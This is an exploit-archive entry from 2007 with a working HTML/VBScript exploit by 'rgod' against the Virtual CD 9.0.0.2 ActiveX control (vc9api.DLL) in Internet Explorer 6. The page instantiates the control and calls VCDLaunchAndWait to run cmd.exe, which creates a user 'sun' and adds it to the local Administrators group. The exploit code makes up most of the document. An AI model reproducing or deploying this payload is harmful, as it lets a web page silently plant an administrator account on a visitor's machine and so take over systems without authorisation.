[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Virtual CD 9.0.0.2 (vc9api.DLL) Remote Shell Commands Execution Exploit
# Published : 2007-05-21
# Author : rgod
# Previous Title : Pegasus ImagN ActiveX Control Remote Buffer Overflow Exploit
# Next Title : Rational Software Hidden Administrator 1.7 Auth Bypass Exploit
<!--
IE 6 / Virtual CD 9.0.0.2 (vc9api.DLL 9.0.0.57) remote shell commands execution exploit
by rgod
site: retrogod.altervista.org
software site: http://www.virtualcd-online.com/
-->
<html>
<object classid='clsid:C75848D7-72BD-499C-80F3-FD0ED62DF58C' id='VCDAPILibApi'></object>
<script language='vbscript'>
strCmd="cmd.exe /c net user sun tzu /add | net localgroup Administrators sun /add "
strWorkDir="c:windowssystem32"
showCmd=1
bWait=1
VCDAPILibApi.VCDLaunchAndWait strCmd ,strWorkDir ,showCmd ,bWait
</script>
</html>
# www.Syue.com [2007-05-21]